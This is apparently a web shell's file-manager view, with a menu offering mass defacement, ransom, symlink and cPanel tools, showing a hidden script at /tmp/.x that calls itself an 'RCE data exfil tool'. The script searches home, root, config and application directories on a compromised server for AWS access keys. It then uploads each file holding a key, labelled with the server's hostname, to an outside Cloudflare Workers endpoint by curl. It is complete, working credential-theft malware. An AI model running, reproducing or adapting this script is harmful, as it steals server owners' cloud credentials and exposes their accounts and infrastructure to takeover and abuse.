| Path : /tmp/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : //tmp/.x |
#!/bin/bash
# find-aws — RCE data exfil tool
# Scan common paths for AWS AKIA keys, skip examples, upload hits to R2.
set -uo pipefail
# ===========================
# CONFIG
# ===========================
R2_UPLOAD_URL="${R2_UPLOAD_URL:-https://young-butterfly-5dff.coloredmyid.workers.dev}"
APPEND_FILENAME="${APPEND_FILENAME:-yes}"
# ===========================
# --- Default paths to scan if no args given ---
DEFAULT_PATHS="/home /root /var /etc /opt /tmp /app"
# --- Regex ---
AKIA_REGEX='\bAKIA[0-9A-Z]{16}\b'
if [[ -z "$R2_UPLOAD_URL" ]]; then
echo "[!] R2_UPLOAD_URL not set" >&2
exit 1
fi
TARGETS=("$@")
if [[ ${#TARGETS[@]} -eq 0 ]]; then
read -ra TARGETS <<< "$DEFAULT_PATHS"
fi
# --- Temp files ---
TMP_RAW=$(mktemp)
TMP_FILES=$(mktemp)
trap 'rm -f "$TMP_RAW" "$TMP_FILES"' EXIT
# --- Scan ---
echo "[*] Scanning for AKIA keys..." >&2
for target in "${TARGETS[@]}"; do
[[ -e "$target" ]] || continue
grep -rinoEI -s "$AKIA_REGEX" "$target" 2>/dev/null || true
done > "$TMP_RAW"
# --- Filter examples & dedupe ---
while IFS= read -r rawline; do
# grep -n format: file:line:match
file="${rawline%%:*}"
rest="${rawline#*:}"
line="${rest%%:*}"
[[ -z "$file" || -z "$line" ]] && continue
[[ -f "$file" ]] || continue
# Skip if source line contains "example"
if sed -n "${line}p" "$file" 2>/dev/null | grep -qiE 'example'; then
continue
fi
printf '%s\n' "$file"
done < "$TMP_RAW" | sort -u > "$TMP_FILES"
match_count=$(wc -l < "$TMP_FILES" | tr -d ' ')
if [[ "$match_count" -eq 0 ]]; then
echo "[*] No valid keys found." >&2
exit 0
fi
echo "[*] $match_count file(s) to upload." >&2
# --- Upload ---
HOSTNAME=$(hostname 2>/dev/null || echo "unknown")
TIMESTAMP=$(date +%s)
while IFS= read -r file; do
rand=$(openssl rand -hex 4 2>/dev/null || printf '%x' "$RANDOM$RANDOM")
basename=$(basename "$file")
unique="${TIMESTAMP}-${HOSTNAME}-${rand}-${basename}"
if [[ "$APPEND_FILENAME" == "yes" ]]; then
url="${R2_UPLOAD_URL%/}/${unique}"
else
url="${R2_UPLOAD_URL}"
fi
if ! http_code=$(curl -s -o /dev/null -w "%{http_code}" -X PUT -T "$file" "$url" 2>/dev/null); then
http_code="000"
fi
if [[ "$http_code" == "200" ]] || [[ "$http_code" == "201" ]]; then
echo "[OK] $unique"
else
echo "[FAIL] $unique (HTTP $http_code)"
fi
done < "$TMP_FILES"